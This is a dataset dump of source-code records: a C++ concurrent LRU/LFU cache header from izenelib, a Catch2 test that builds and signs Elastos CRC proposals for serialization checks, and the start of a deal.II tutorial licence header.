"inql/OnePass", "max_forks_repo_head_hexsha": "6e24d6bd6bcb70fdac4de5e4a155fcea68ea85ef", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.1191709845, "max_line_length": 125, "alphanum_fraction": 0.6795114399, "num_tokens": 1425, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5544704649604273, "lm_q2_score": 0.19682620835441803, "lm_q1q2_score": 0.1091343192626721}}
{"text": "#ifndef IZENELIB_CONCURRENT_CACHE_H\n#define IZENELIB_CONCURRENT_CACHE_H\n\n#include \"IzeneCacheTraits.h\"\n#include <stdint.h>\n#include <boost/atomic.hpp>\n#include <boost/lexical_cast.hpp>\n#include <3rdparty/folly/RWSpinLock.h>\n#include <util/hashFunction.h>\n\nnamespace izenelib { namespace concurrent_cache\n{\n\nstruct ItemAccessInfo\n{\n    int64_t last_time;\n    boost::atomic<int64_t> get_cnt;\n    boost::atomic<int32_t> item_cache_index;\n    ItemAccessInfo()\n        :last_time(0), get_cnt(0), item_cache_index(-1)\n    {\n    }\n};\n\ntemplate <class KeyType, class ValueType> class CacheItem\n{\npublic:\n    typedef std::list<std::pair<KeyType, ValueType> > ContainerT;\n    typedef folly::RWTicketSpinLockT<32, true> ItemRWLock;\n    ItemRWLock rw_lock;\n    ContainerT item_list;\n    boost::atomic<int32_t>  access_info_index;\n    CacheItem()\n        :access_info_index(-1)\n    {\n    }\n};\n\nstatic const uint32_t MULT_FREE_LIST_NUM = 16;\n\nenum { PRIME_NUM = 28 };\n\nstatic const int64_t PRIME_LIST[PRIME_NUM] =\n{\n    53l, 97l, 193l, 389l, 769l,\n    1543l, 3079l, 6151l, 12289l, 24593l,\n    49157l, 98317l, 196613l, 393241l, 786433l,\n    1572869l, 3145739l, 6291469l, 12582917l, 25165843l,\n    50331653l, 100663319l, 201326611l, 402653189l, 805306457l,\n    1610612741l, 3221225473l, 4294967291l\n};\n\ninline int64_t cal_next_prime(int64_t n)\n{\n    int64_t ret = n;\n    if (n > 0)\n    {\n        const int64_t* first = PRIME_LIST;\n        const int64_t* last = PRIME_LIST + PRIME_NUM;\n        const int64_t* pos = std::lower_bound(first, last, n);\n        ret = ((pos == last) ? *(last - 1) : *pos);\n    }\n    return ret;\n}\n\ntemplate <class KeyType, class ValueType> class ConcurrentCache\n{\npublic:\n    typedef CacheItem<KeyType, ValueType> ItemT;\n\n    class spinlock {\n        boost::atomic_flag lock_;\n    public:\n        spinlock()\n        {\n            lock_.clear();\n        }\n        inline void lock()\n        {\n            int cnt = 0;\n            while (lock_.test_and_set(boost::memory_order_acquire))\n            {\n                if (++cnt > 10) sched_yield();\n            }\n        }\n        inline void unlock()\n        {\n            lock_.clear(boost::memory_order_release);\n        }\n        inline bool try_lock()\n        {\n            return !lock_.test_and_set(boost::memory_order_acquire);\n        }\n    };\n\n    ConcurrentCache(std::size_t cache_size, izenelib::cache::REPLACEMENT_TYPE evit_strategy,\n        int32_t wash_out_interval_sec = 60, double wash_out_threshold = 0.1)\n    {\n        evit_strategy_ = evit_strategy;\n        wash_out_interval_sec_ = wash_out_interval_sec;\n        wash_out_threshold_ = wash_out_threshold;\n        need_exit_ = false;\n        wash_out_by_full_ = false;\n        total_get_cnt_ = 0;\n        total_hit_cnt_ = 0;\n        init(cache_size);\n    }\n\n    ~ConcurrentCache()\n    {\n        need_exit_ = true;\n        wash_out_cond_.notify_all();\n        wash_out_thread_.join();\n        free_access_info_list_.clear();\n        if (free_list_lock_)\n            delete[] free_list_lock_;\n        if (item_buffer_)\n            delete[] item_buffer_;\n        item_buffer_ = NULL;\n        if (access_info_list_)\n            delete[] access_info_list_;\n        access_info_list_ = NULL;\n        item_buffer_size_ = 0;\n        access_info_list_size_ = 0;\n    }\n\n    void init(std::size_t cache_size)\n    {\n        // keep some free space to reduce collision. Use the prime as bucket size to reduce collision.\n        item_buffer_size_ = cal_next_prime(cache_size*4);\n        item_buffer_ = new ItemT[item_buffer_size_];\n        access_info_list_size_ = cache_size;\n        access_info_list_ = new ItemAccessInfo[access_info_list_size_];\n\n        free_list_lock_ = new spinlock[MULT_FREE_LIST_NUM];\n        free_access_info_list_.resize(MULT_FREE_LIST_NUM);\n        free_size_list_.resize(MULT_FREE_LIST_NUM, 0);\n        for (std::size_t i = 0; i < access_info_list_size_; ++i)\n        {\n            free_access_info_list_[i%MULT_FREE_LIST_NUM].push_back(i);\n            ++free_size_list_[i % MULT_FREE_LIST_NUM];\n        }\n\n        std::cout << \"init hash bucket size : \" << item_buffer_size_ << \", access list size: \" << access_info_list_size_ << std::endl;\n        wash_out_thread_ = boost::thread(boost::bind(&ConcurrentCache::wash_out_bg, this));\n    }\n\n    bool insert(const KeyType& key, const ValueType& value, bool overwrite = true)\n    {\n        std::size_t bucket_index = getBucketIndex(key);\n        typename ItemT::ItemRWLock::WriteHolder guard(item_buffer_[bucket_index].rw_lock);\n        ItemT& item = item_buffer_[bucket_index];\n        if (item.access_info_index == -1)\n        {\n            assert(item.item_list.empty());\n            // first key in this bucket.\n            // found a non-used access info for this bucket.\n            std::size_t free_list_num = bucket_index % MULT_FREE_LIST_NUM;\n            while (true)\n            {\n                std::size_t free_index = -1;\n\n                free_list_lock_[free_list_num].lock();\n                if (!free_access_info_list_[free_list_num].empty())\n                {\n                    free_index = free_access_info_list_[free_list_num].front();\n                    free_access_info_list_[free_list_num].pop_front();\n                    --free_size_list_[free_list_num];\n                }\n                free_list_lock_[free_list_num].unlock();\n\n                if (free_index == (std::size_t)-1)\n                    break;\n                if (free_index >= access_info_list_size_)\n                    continue;\n                int32_t nonused = -1;\n                if (access_info_list_[free_index].item_cache_index.compare_exchange_weak(nonused, (uint32_t)bucket_index))\n                {\n                    item.item_list.push_back(std::make_pair(key, value));\n                    item.access_info_index = free_index;\n                    update_access_info(free_index);\n                    return true;\n                }\n                else\n                {\n                    std::cerr << \"exchange failed for item cache index.\" << std::endl;\n                    break;\n                }\n            }\n            //for (std::size_t i = 0; i < access_info_list_size_; ++i)\n            //{\n            //    int32_t nonused = -1;\n            //    if (access_info_list_[i].item_cache_index.compare_exchange_weak(nonused, (int32_t)bucket_index))\n            //    {\n            //        item.item_list.push_back(std::make_pair(key, value));\n            //        item.access_info_index = i;\n            //        update_access_info(i);\n            //        return true;\n            //    }\n            //}\n            //std::cerr << \"cache is full, need wash out.\" << std::endl;\n            wash_out_by_full_ = true;\n            wash_out_cond_.notify_all();\n            return false;\n        }\n        else\n        {\n            // collision key\n            bool is_exist = false;\n            for(typename ItemT::ContainerT::iterator it = item.item_list.begin();\n                it != item.item_list.end(); ++it)\n            {\n                if (it->first == key)\n                {\n                    if (overwrite)\n                    {\n                        it->second = value;\n                    }\n                    is_exist = true;\n                }\n            }\n            if (!is_exist)\n            {\n                item.item_list.push_back(std::make_pair(key, value));\n                //if (item.item_list.size() > 5)\n                //    std::cerr << \"hash collision is heavy : \" << item.item_list.size() << std::endl;\n            }\n\n            update_access_info(item.access_info_index);\n        }\n        return true;\n    }\n\n    bool get(const KeyType& key, ValueType& value)\n    {\n        ++total_get_cnt_;\n        std::size_t bucket_index = getBucketIndex(key);\n        typename ItemT::ItemRWLock::ReadHolder guard(item_buffer_[bucket_index].rw_lock);\n        const ItemT& item = item_buffer_[bucket_index];\n        if (item.item_list.empty())\n        {\n            // not found in cache.\n            return false;\n        }\n        else\n        {\n            // get item and udpate the LRU.\n            for(typename ItemT::ContainerT::const_iterator it = item.item_list.begin();\n                it != item.item_list.end(); ++it)\n            {\n                if (it->first == key)\n                {\n                    value = it->second;\n                    update_access_info(item.access_info_index);\n                    ++total_hit_cnt_;\n                    return true;\n                }\n            }\n        }\n        return false;\n    }\n\n    void remove(const KeyType& key)\n    {\n        std::size_t bucket_index = getBucketIndex(key);\n        int32_t access_index = -1;\n        {\n            typename ItemT::ItemRWLock::WriteHolder guard(item_buffer_[bucket_index].rw_lock);\n            ItemT& item = item_buffer_[bucket_index];\n            for (typename ItemT::ContainerT::iterator it = item.item_list.begin();\n                it != item.item_list.end(); ++it)\n            {\n                if (it->first == key)\n                {\n                    item.item_list.erase(it);\n                    break;\n                }\n            }\n            if (!item.item_list.empty())\n                return;\n            access_index = item.access_info_index;\n            reset_access_info(item.access_info_index);\n            item.access_info_index = -1;\n        }\n        free_access_info_to_list(access_index);\n    }\n\n    void clear()\n    {\n        for(std::size_t i = 0; i < item_buffer_size_; ++i)\n        {\n            clear_bucket(i);\n        }\n    }\n\n    bool check_correctness()\n    {\n        // check free list should be really free and all free pos should be in free list\n        for (std::size_t i = 0; i < MULT_FREE_LIST_NUM; ++i)\n        {\n            free_list_lock_[i].lock();\n            std::set<std::size_t> diff_set;\n            bool check_ok = true;\n            for (std::list<std::size_t>::const_iterator it = free_access_info_list_[i].begin();\n                it != free_access_info_list_[i].end(); ++it)\n            {\n                if (*it >= access_info_list_size_)\n                {\n                    // free pos should be no larger than size.\n                    std::cerr << \"free access list position larger than size.\" << *it << std::endl;\n                    check_ok = false;\n                    break;\n                }\n                if (access_info_list_[*it].item_cache_index != -1)\n                {\n                    std::cerr << \"free access list position not really free.\" << std::endl;\n                    check_ok = false;\n                    break;\n                }\n                if (diff_set.find(*it) != diff_set.end())\n                {\n                    std::cerr << \"free access list position duplicate.\" << std::endl;\n                    check_ok = false;\n                    break;\n                }\n                diff_set.insert(*it);\n            }\n            if (free_access_info_list_[i].size() != free_size_list_[i])\n            {\n                std::cerr << \"free access list size mismatch.\" << std::endl;\n                check_ok = false;\n            }\n\n            free_list_lock_[i].unlock();\n            if (!check_ok)\n                return false;\n        }\n        //\n        // check bucket access info consistent.\n        for(std::size_t i = 0; i < item_buffer_size_; ++i)\n        {\n            typename ItemT::ItemRWLock::ReadHolder guard(item_buffer_[i].rw_lock);\n            const ItemT& item = item_buffer_[i];\n            if (!item.item_list.empty() && item.access_info_index != -1)\n            {\n                if (item.access_info_index >= (int32_t)access_info_list_size_)\n                {\n                    std::cerr << \"bucket access info pos out of range.\" << std::endl;\n                    return false;\n                }\n                if (access_info_list_[item.access_info_index].item_cache_index != (int32_t)i)\n                {\n                    std::cerr << \"bucket access info pos is not consistent. \" << i\n                        << \"-\" << item.access_info_index << \"-\" << access_info_list_[item.access_info_index].item_cache_index << std::endl;\n                    return false;\n                }\n            }\n\n        }\n        return true;\n    }\n\n    std::string get_useful_info()\n    {\n        std::string retstr(\"Concurrent cache statistic:\\n\");\n        retstr += \"Current free list size: \\n\";\n        for(std::size_t i = 0; i < MULT_FREE_LIST_NUM; ++i)\n        {\n            retstr += boost::lexical_cast<std::string>(free_size_list_[i]) + \", \";\n        }\n        retstr += \"\\n\";\n\n        retstr += \"Hit ratio: \" + boost::lexical_cast<std::string>((int64_t)total_hit_cnt_)\n            + \" / \" + boost::lexical_cast<std::string>((int64_t)total_get_cnt_);\n        return retstr;\n    }\n\nprivate:\n    class CmpFunc\n    {\n    public:\n        CmpFunc(const ItemAccessInfo* const access_info, std::size_t access_info_size, izenelib::cache::REPLACEMENT_TYPE evit_strategy)\n            : access_info_(access_info), access_info_size_(access_info_size), evit_strategy_(evit_strategy)\n        {\n        }\n        bool is_left_useless(const ItemAccessInfo& left, const ItemAccessInfo& right) const\n        {\n            if (evit_strategy_ == izenelib::cache::LRU)\n            {\n                if (left.last_time == right.last_time)\n                    return left.get_cnt <= right.get_cnt;\n                return left.last_time < right.last_time;\n            }\n            else if (evit_strategy_ == izenelib::cache::LFU)\n            {\n                if (left.get_cnt == right.get_cnt)\n                    return left.last_time <= right.last_time;\n                return left.get_cnt < right.get_cnt;\n            }\n            else\n            {\n                // for the frequency used cache item, we add some timestamp to leverage its importance.\n                int64_t l = left.last_time + left.get_cnt*60*1000;\n                int64_t r = right.last_time + right.get_cnt*60*1000;\n                return l <= r;\n            }\n        }\n        bool operator()(std::size_t left, std::size_t right) const\n        {\n            // return true if left less than right\n            return left >= 0 && right >= 0 && left < access_info_size_\n                && right < access_info_size_ && access_info_[left].last_time != 0\n                && (0 == access_info_[right].last_time\n                    || is_left_useless(access_info_[left], access_info_[right]));\n        }\n\n    private:\n        const ItemAccessInfo* const access_info_;\n        const std::size_t access_info_size_;\n        const izenelib::cache::REPLACEMENT_TYPE& evit_strategy_;\n    };\n    std::size_t getBucketIndex(const KeyType& key)\n    {\n        uint32_t hashkey = hash_func_(key);\n        return hashkey % item_buffer_size_;\n    }\n\n    void reset_access_info(int32_t access_info_index)\n    {\n        if (access_info_index >= 0 && access_info_index < (int32_t)access_info_list_size_)\n        {\n            access_info_list_[access_info_index].last_time = 0;\n            access_info_list_[access_info_index].get_cnt = 0;\n            access_info_list_[access_info_index].item_cache_index = -1;\n        }\n    }\n\n    void free_access_info_to_list(int32_t access_info_index)\n    {\n        if (access_info_index >= 0 && access_info_index < (int32_t)access_info_list_size_)\n        {\n            free_list_lock_[access_info_index % MULT_FREE_LIST_NUM].lock();\n            free_access_info_list_[access_info_index % MULT_FREE_LIST_NUM].push_back(access_info_index);\n            ++free_size_list_[access_info_index % MULT_FREE_LIST_NUM];\n            free_list_lock_[access_info_index % MULT_FREE_LIST_NUM].unlock();\n        }\n    }\n\n    void try_clear_bucket(std::size_t bucket_index)\n    {\n        if (bucket_index >= item_buffer_size_)\n            return;\n        int32_t access_index = -1;\n        {\n            if (!item_buffer_[bucket_index].rw_lock.try_lock())\n            {\n                return;\n            }\n            ItemT& item = item_buffer_[bucket_index];\n            item.item_list.clear();\n            access_index = item.access_info_index;\n            reset_access_info(item.access_info_index);\n            item.access_info_index = -1;\n            item_buffer_[bucket_index].rw_lock.unlock();\n        }\n        free_access_info_to_list(access_index);\n    }\n    void clear_bucket(std::size_t bucket_index)\n    {\n        if (bucket_index >= item_buffer_size_)\n            return;\n        int32_t access_index = -1;\n        {\n            typename ItemT::ItemRWLock::WriteHolder guard(item_buffer_[bucket_index].rw_lock);\n            ItemT& item = item_buffer_[bucket_index];\n            item.item_list.clear();\n            access_index = item.access_info_index;\n            reset_access_info(item.access_info_index);\n            item.access_info_index = -1;\n        }\n        free_access_info_to_list(access_index);\n    }\n\n    void update_access_info(int32_t access_info_index)\n    {\n        if (access_info_index >= 0 &&\n            access_info_index < (int32_t)access_info_list_size_)\n        {\n            ItemAccessInfo& info = access_info_list_[access_info_index];\n            struct timespec cur_time;\n            clock_gettime(CLOCK_MONOTONIC, &cur_time);\n            info.last_time = cur_time.tv_sec * 1000 + cur_time.tv_nsec / 1000000;\n            info.get_cnt.fetch_add(1, boost::memory_order_seq_cst);\n        }\n        else\n        {\n            std::cerr << \"the cache access info data is not ready.\" << access_info_index << std::endl;\n        }\n    }\n\n    void wash_out_bg()\n    {\n        while(true)\n        {\n            if (need_exit_)\n                break;\n            boost::unique_lock<boost::mutex> lock(wash_out_mutex_);\n            wash_out_cond_.timed_wait(lock, boost::posix_time::seconds(wash_out_interval_sec_));\n            if (need_exit_)\n                break;\n            bool wash_out_many = false;\n            if (wash_out_by_full_)\n            {\n                wash_out_by_full_ = false;\n                wash_out_many = true;\n            }\n            bool is_need_scan = wash_out_many;\n            if (!wash_out_many)\n            {\n                for(std::size_t i = 0; i < MULT_FREE_LIST_NUM; ++i)\n                {\n                    if (free_size_list_[i] <= wash_out_threshold_ * access_info_list_size_ / MULT_FREE_LIST_NUM)\n                    {\n                        is_need_scan = true;\n                        break;\n                    }\n                }\n            }\n            if (!is_need_scan)\n            {\n                //std::cout << \"No need to wash out. \" << get_useful_info() << std::endl;\n                continue;\n            }\n            struct timespec start_time;\n            clock_gettime(CLOCK_MONOTONIC, &start_time);\n            // here, we ignore the updated access info during scan to avoid performance degrade.\n            // There may be some inaccurate to evict some useful cache, but I think it will be rare.\n            std::vector<int32_t> washheap;\n            std::size_t heapsize = access_info_list_size_ * wash_out_threshold_;\n            if (heapsize < 1)\n                heapsize = 1;\n            if (wash_out_many)\n                heapsize *= 4; \n            washheap.reserve(heapsize);\n            std::size_t freesize = 0;\n            CmpFunc cmp_func(access_info_list_, access_info_list_size_, evit_strategy_);\n            for (std::size_t i = 0; i < access_info_list_size_; ++i)\n            {\n                if (access_info_list_[i].item_cache_index == -1)\n                {\n                    freesize++;\n                }\n                else if (washheap.size() < heapsize || cmp_func(i, washheap.front()))\n                {\n                    if (washheap.size() < heapsize)\n                    {\n                        washheap.push_back(i);\n                    }\n                    else\n                    {\n                        std::pop_heap(washheap.begin(), washheap.end(), cmp_func);\n                        washheap.back() = i;\n                    }\n                    std::push_heap(washheap.begin(), washheap.end(), cmp_func);\n                }\n                //std::cout << access_info_list_[i].item_cache_index << \"-\" << access_info_list_[i].last_time << \", \";\n            }\n            if (freesize >= heapsize)\n            {\n                if (!wash_out_many)\n                    std::cout << get_useful_info() << std::endl;\n                continue;\n            }\n            struct timespec sort_time;\n            clock_gettime(CLOCK_MONOTONIC, &sort_time);\n\n            for (std::size_t i = 0; i < washheap.size(); ++i)\n            {\n                //std::cout << access_info_list_[washheap[i]].item_cache_index << \"-\" << access_info_list_[washheap[i]].last_time << \", \";\n                try_clear_bucket(access_info_list_[washheap[i]].item_cache_index);\n            }\n\n            struct timespec end_time;\n            clock_gettime(CLOCK_MONOTONIC, &end_time);\n            int64_t wash_cost = (end_time.tv_sec - start_time.tv_sec)*1000 + (end_time.tv_nsec - start_time.tv_nsec)/1000000;\n            int64_t sort_cost = (sort_time.tv_sec - start_time.tv_sec)*1000 + (sort_time.tv_nsec - start_time.tv_nsec)/1000000;\n            if (wash_cost > 200 || wash_out_many)\n            {\n                std::cout << \"wash out cache item num : \" << washheap.size()\n                    << \", cost time:\" << wash_cost << \", sort time:\" << sort_cost << std::endl;\n            }\n        }\n        std::cerr << \"cache wash out thread exit.\" << std::endl;\n    }\n\n    ItemT *item_buffer_;\n    std::size_t item_buffer_size_;\n    ItemAccessInfo*  access_info_list_;  // used for evict strategy.\n    std::size_t access_info_list_size_;\n    bool wash_out_by_full_;\n    bool need_exit_;\n    int32_t wash_out_interval_sec_;\n    double wash_out_threshold_;\n    izenelib::cache::REPLACEMENT_TYPE evit_strategy_;\n    boost::mutex wash_out_mutex_;\n    boost::condition_variable wash_out_cond_;\n    boost::thread wash_out_thread_;\n    HashIDTraits<KeyType, uint32_t>  hash_func_;\n    std::vector<std::list<std::size_t> >  free_access_info_list_;\n    std::vector<std::size_t>  free_size_list_;\n    spinlock  *free_list_lock_;\n    boost::atomic<int64_t>  total_get_cnt_;\n    boost::atomic<int64_t>  total_hit_cnt_;\n};\n\n\n}}\n\n#endif\n", "meta": {"hexsha": "4025bf579fea0822d91d76f668d65ec03272805c", "size": 22347, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "include/cache/concurrent_cache.hpp", "max_stars_repo_name": "izenecloud/izenelib", "max_stars_repo_head_hexsha": "9d5958100e2ce763fc75f27217adf982d7c9d902", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 31.0, "max_stars_repo_stars_event_min_datetime": "2015-03-03T19:13:42.000Z", "max_stars_repo_stars_event_max_datetime": "2020-09-03T08:11:56.000Z", "max_issues_repo_path": "include/cache/concurrent_cache.hpp", "max_issues_repo_name": "izenecloud/izenelib", "max_issues_repo_head_hexsha": "9d5958100e2ce763fc75f27217adf982d7c9d902", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1.0, "max_issues_repo_issues_event_min_datetime": "2016-12-24T00:12:11.000Z", "max_issues_repo_issues_event_max_datetime": "2016-12-24T00:12:11.000Z", "max_forks_repo_path": "include/cache/concurrent_cache.hpp", "max_forks_repo_name": "izenecloud/izenelib", "max_forks_repo_head_hexsha": "9d5958100e2ce763fc75f27217adf982d7c9d902", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 8.0, "max_forks_repo_forks_event_min_datetime": "2015-09-06T01:55:21.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-20T02:16:13.000Z", "avg_line_length": 36.0435483871, "max_line_length": 139, "alphanum_fraction": 0.5466058084, "num_tokens": 5068, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.21206879937726764, "lm_q1q2_score": 0.10851912598102421}}
{"text": "// Copyright (c) 2012-2018 The Elastos Open Source Project\n// Distributed under the MIT software license, see the accompanying\n// file COPYING or http://www.opensource.org/licenses/mit-license.php.\n\n#define CATCH_CONFIG_MAIN\n\n#include <catch.hpp>\n#include \"TestHelper.h\"\n\n#include <Common/Log.h>\n#include <WalletCore/Mnemonic.h>\n#include <Plugin/Transaction/Payload/CRCProposal.h>\n#include <boost/filesystem.hpp>\n#include <WalletCore/BIP39.h>\n#include <WalletCore/HDKeychain.h>\n#include <WalletCore/Key.h>\n\nusing namespace Elastos::ElaWallet;\n\nstatic void initCRCProposal(CRCProposal &crcProposal, CRCProposal::Type type) {\n\tstd::string mnemonic = Mnemonic(boost::filesystem::path(\"Data\")).Create(\"English\", Mnemonic::WORDS_12);\n\tuint512 seed = BIP39::DeriveSeed(mnemonic, \"\");\n\tHDSeed hdseed(seed.bytes());\n\tHDKeychain rootkey(hdseed.getExtendedKey(true));\n\tHDKeychain masterKey = rootkey.getChild(\"44'/0'/0'\");\n\tHDKeychain ownerKey = masterKey.getChild(\"0/0\");\n\tHDKeychain newOwnerKey = masterKey.getChild(\"0/1\");\n\tHDKeychain secretaryKey = masterKey.getChild(\"0/2\");\n\tHDKeychain councilMemberKey = masterKey.getChild(\"0/3\");\n\tuint8_t version = CRCProposalDefaultVersion;\n\n\tcrcProposal.SetTpye(type);\n\tcrcProposal.SetCategoryData(getRandString(100));\n\tcrcProposal.SetOwnerPublicKey(ownerKey.pubkey().getHex());\n\tcrcProposal.SetDraftHash(getRanduint256());\n\tstd::vector<Budget> budgets;\n\tfor (int i = 0; i < 4; ++i) {\n\t\tBudget::Type budgetType = Budget::Type(getRandUInt8() % Budget::maxType);\n\t\tBudget budget(budgetType, getRandUInt8(), getRandUInt64());\n\t\tbudgets.push_back(budget);\n\t}\n\tcrcProposal.SetBudgets(budgets);\n\tcrcProposal.SetRecipient(Address(Prefix::PrefixStandard, ownerKey.pubkey()));\n\tcrcProposal.SetTargetProposalHash(getRanduint256());\n\tcrcProposal.SetNewRecipient(Address(Prefix::PrefixStandard, newOwnerKey.pubkey()));\n\tcrcProposal.SetNewOwnerPublicKey(newOwnerKey.pubkey());\n\tcrcProposal.SetSecretaryPublicKey(secretaryKey.pubkey());\n\tcrcProposal.SetSecretaryDID(Address(Prefix::PrefixIDChain, secretaryKey.pubkey(), true));\n\tcrcProposal.SetCRCouncilMemberDID(Address(Prefix::PrefixIDChain, councilMemberKey.pubkey(), true));\n\n\tKey key;\n\tuint256 digest;\n\tbytes_t signature;\n\tswitch (type) {\n\t\tcase CRCProposal::Type::elip:\n\t\tcase CRCProposal::Type::normal:\n\t\t\tdigest = crcProposal.DigestNormalOwnerUnsigned(version);\n\t\t\tkey = ownerKey;\n\t\t\tsignature = key.Sign(digest);\n\t\t\tcrcProposal.SetSignature(signature);\n\n\t\t\tdigest = crcProposal.DigestNormalCRCouncilMemberUnsigned(version);\n\t\t\tkey = councilMemberKey;\n\t\t\tsignature = key.Sign(digest);\n\t\t\tcrcProposal.SetCRCouncilMemberSignature(signature);\n\t\t\tbreak;\n\n\t\tcase CRCProposal::Type::secretaryGeneralElection:\n\t\t\tdigest = crcProposal.DigestSecretaryElectionUnsigned(version);\n\t\t\tkey = ownerKey;\n\t\t\tsignature = key.Sign(digest);\n\t\t\tcrcProposal.SetSignature(signature);\n\n\t\t\tkey = secretaryKey;\n\t\t\tsignature = key.Sign(digest);\n\t\t\tcrcProposal.SetSecretarySignature(signature);\n\n\t\t\tdigest = crcProposal.DigestSecretaryElectionCRCouncilMemberUnsigned(version);\n\t\t\tkey = councilMemberKey;\n\t\t\tsignature = key.Sign(digest);\n\t\t\tcrcProposal.SetCRCouncilMemberSignature(signature);\n\t\t\tbreak;\n\n\t\tcase CRCProposal::Type::changeProposalOwner:\n\t\t\tdigest = crcProposal.DigestChangeOwnerUnsigned(version);\n\t\t\tkey = ownerKey;\n\t\t\tsignature = key.Sign(digest);\n\t\t\tcrcProposal.SetSignature(signature);\n\n\t\t\tkey = newOwnerKey;\n\t\t\tsignature = key.Sign(digest);\n\t\t\tcrcProposal.SetNewOwnerSignature(signature);\n\n\t\t\tdigest = crcProposal.DigestChangeOwnerCRCouncilMemberUnsigned(version);\n\t\t\tkey = councilMemberKey;\n\t\t\tsignature = key.Sign(digest);\n\t\t\tcrcProposal.SetCRCouncilMemberSignature(signature);\n\t\t\tbreak;\n\n\t\tcase CRCProposal::Type::terminateProposal:\n\t\t\tdigest = crcProposal.DigestTerminateProposalOwnerUnsigned(version);\n\t\t\tkey = ownerKey;\n\t\t\tsignature = key.Sign(digest);\n\t\t\tcrcProposal.SetSignature(signature);\n\n\t\t\tdigest = crcProposal.DigestTerminateProposalCRCouncilMemberUnsigned(version);\n\t\t\tkey = councilMemberKey;\n\t\t\tsignature = key.Sign(digest);\n\t\t\tcrcProposal.SetCRCouncilMemberSignature(signature);\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tbreak;\n\t}\n}\n\nTEST_CASE(\"CRCProposal test\", \"[CRCProposal]\") {\n\tLog::registerMultiLogger();\n\tuint8_t version = CRCProposalDefaultVersion;\n\tSECTION(\"Serialize and Deserialize test\") {\n\t\tCRCProposal p1, p2;\n\t\tstd::vector<CRCProposal::Type> types = {\n\t\t\tCRCProposal::normal,\n\t\t\tCRCProposal::secretaryGeneralElection,\n\t\t\tCRCProposal::changeProposalOwner,\n\t\t\tCRCProposal::terminateProposal\n\t\t};\n\n\t\tfor (size_t i = 0; i < types.size(); ++i) {\n\t\t\tByteStream byteStream;\n\t\t\tinitCRCProposal(p1, types[i]);\n\t\t\tp1.Serialize(byteStream, version);\n\t\t\tREQUIRE(byteStream.GetBytes().size() == p1.EstimateSize(version));\n\t\t\tREQUIRE(p2.Deserialize(byteStream, version));\n\t\t\tREQUIRE(p1 == p2);\n\t\t}\n\t}\n\n\tSECTION(\"ToJson FromJson test\") {\n\t\tCRCProposal p1, p2;\n\t\tstd::vector<CRCProposal::Type> types = {\n\t\t\tCRCProposal::normal,\n\t\t\tCRCProposal::secretaryGeneralElection,\n\t\t\tCRCProposal::changeProposalOwner,\n\t\t\tCRCProposal::terminateProposal\n\t\t};\n\n\t\tfor (size_t i = 0; i < types.size(); ++i) {\n\t\t\tinitCRCProposal(p1, types[i]);\n\t\t\tnlohmann::json j = p1.ToJson(version);\n\t\t\tp2.FromJson(j, version);\n\t\t\tREQUIRE(p1 == p2);\n\t\t}\n\t}\n\n}", "meta": {"hexsha": "e7684f68db909fc2a8d98c5b81564760b8bb5d8c", "size": 5195, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "Test/CRCProposalTest.cpp", "max_stars_repo_name": "elastos/Elastos.ELA.SPV.Cpp", "max_stars_repo_head_hexsha": "d4cc194596261e20b0da0b1501da42b09e109a72", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 11.0, "max_stars_repo_stars_event_min_datetime": "2018-08-01T02:01:34.000Z", "max_stars_repo_stars_event_max_datetime": "2019-09-15T23:31:40.000Z", "max_issues_repo_path": "Test/CRCProposalTest.cpp", "max_issues_repo_name": "chenyukaola/Elastos.ELA.SPV.Cpp", "max_issues_repo_head_hexsha": "57b5264d4eb259439dd85aefc0455389551ee3cf", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 51.0, "max_issues_repo_issues_event_min_datetime": "2018-07-16T09:41:14.000Z", "max_issues_repo_issues_event_max_datetime": "2020-01-08T03:40:34.000Z", "max_forks_repo_path": "Test/CRCProposalTest.cpp", "max_forks_repo_name": "chenyukaola/Elastos.ELA.SPV.Cpp", "max_forks_repo_head_hexsha": "57b5264d4eb259439dd85aefc0455389551ee3cf", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 26.0, "max_forks_repo_forks_event_min_datetime": "2018-07-12T02:34:46.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-07T07:08:54.000Z", "avg_line_length": 33.3012820513, "max_line_length": 104, "alphanum_fraction": 0.7530317613, "num_tokens": 1330, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5273165233795671, "lm_q2_score": 0.2043418950913969, "lm_q1q2_score": 0.10775285770038766}}
{"text": "\n\n/* --------------------------------------------------------------------- \n * \n * Copyright (C) 2019 - 2021 by the deal.II authors \n * \n * This file is part of the deal.II library. \n * \n * The deal.II library is free software; you can use it, redistribute \n * it, and/or modify it under the terms of the GNU Lesser General \n * Public License as published by the Free Software Foundation; either \n * version 2.1 of the License, or (at your option) any later version. \n * The full text of the license can be found in the file LICENSE.md at \n * the top level directory of deal.II. \n * \n * --------------------------------------------------------------------- \n * \n * Authors: Matthias Maier, Texas A&M University; \n *          Ignacio Tomas, Texas A&M University, Sandia National Laboratories \n * \n * Sandia National Laboratories is a multimission laboratory managed and \n * operated by National Technology & Engineering Solutions of Sandia, LLC, a \n * wholly owned subsidiary of Honeywell International Inc., for the U.S. \n * Department of Energy's National Nuclear Security Administration under \n * contract DE-NA0003525. This document describes objective technical results \n * and analysis. Any subjective views or opinions that might be expressed in \n * the paper do not necessarily represent the views of the U.S. Department of \n * Energy or the United States Government. \n */ \n\n\n// @sect3{Include files}  \n\n// 